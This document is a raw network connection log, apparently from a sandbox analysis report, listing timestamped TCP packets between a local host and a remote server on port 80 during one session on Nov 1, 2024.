Nov 1, 2024 15:15:00.874461889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874469995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874473095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874485016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874495983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874506950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874536037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874536037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874536037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874695063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874706030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874721050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874732971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874784946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874907017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874918938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874933958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874948025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874967098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874972105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874973059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874972105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874972105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874978065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874989986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874994040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874999046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875000000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875004053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875009060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875011921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875013113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875014067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875015020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875021935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875029087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875039101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875051022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875053883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875063896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875076056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875088930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875099897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875102043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875102043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875109911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875130892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875144005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875319958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875376940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875523090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875535011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875545979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875557899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875564098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875570059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875581026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875586033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875591993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875612974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875622988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875622988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875632048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875638962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875643969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875649929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875654936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875660896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875665903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875667095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875679016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875695944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875706911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875709057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875710964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875716925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875721931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875731945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875746012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875747919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.875803947 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.875803947 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876000881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876012087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876023054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876034021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876053095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876070023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876096964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876161098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876173973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876184940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876195908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876207113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876218081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876233101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876233101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876238108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876250982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876255989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876261950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876292944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876310110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876312017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876322985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876332998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876343966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876358032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876368999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876380920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876390934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876401901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876401901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876401901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876403093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876414061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876424074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876435041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876446962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876457930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876468897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876480103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876493931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876569033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876569033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876569033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876569033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876569986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876790047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876801014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876811028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876821041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876837015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876837015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876840115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876852036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876863956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876876116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876887083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876904011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876904011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876935005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876945972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876951933 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876956940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876969099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876977921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.876981020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.876991987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877007008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877010107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877022028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877022028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877032995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877044916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877053976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877055883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877068996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877079010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877084017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877089977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877095938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877103090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877113104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877124071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877135992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877144098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877144098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877144098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877147913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877159119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877171993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877209902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877209902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877209902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877504110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877516985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877526999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877538919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877552032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877557039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877562046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877566099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877655983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877655983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877660990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877672911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877686977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877696991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877701998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877707958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877715111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877720118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877737999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877749920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877758026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877758026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877760887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877773046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877784967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877794981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877794981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877794981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877806902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877819061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877829075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877840996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877851963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877856016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877856016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877861977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877875090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877886057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877892971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877892971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877897024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877908945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877919912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877931118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877942085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.877945900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877945900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877988100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.877988100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896126032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896140099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896152020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896202087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896215916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896361113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896373034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896384954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896394968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896411896 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896414042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896425009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896450996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896450996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896469116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896481991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896493912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896526098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896526098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896526098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896526098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896526098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896572113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896584988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896596909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896606922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896620035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896635056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896636963 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896644115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.896691084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.896691084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897217989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897229910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897241116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897283077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897283077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897341013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897351980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897371054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897381067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897392988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897394896 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897394896 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897403955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897418022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897471905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897515059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897526979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897537947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897550106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897559881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897561073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897588015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897607088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897639990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.897959948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897970915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897983074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.897994041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898005009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898008108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898008108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898046970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898169994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898180962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898191929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898202896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898212910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898221970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898221970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898226976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898236990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898247957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898257971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898261070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898269892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898297071 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898297071 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898319960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898324966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898336887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898348093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898360014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898371935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898381948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898394108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898416042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898421049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898421049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898422003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898427010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898437977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898449898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898461103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898473024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898480892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898480892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898480892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898509026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898526907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898540020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898552895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898629904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898642063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898653984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898663998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898675919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898686886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898699045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898699045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898699999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898711920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898730040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898766994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898880005 CET	80	49874	188.114.96.3	192.168.2.5
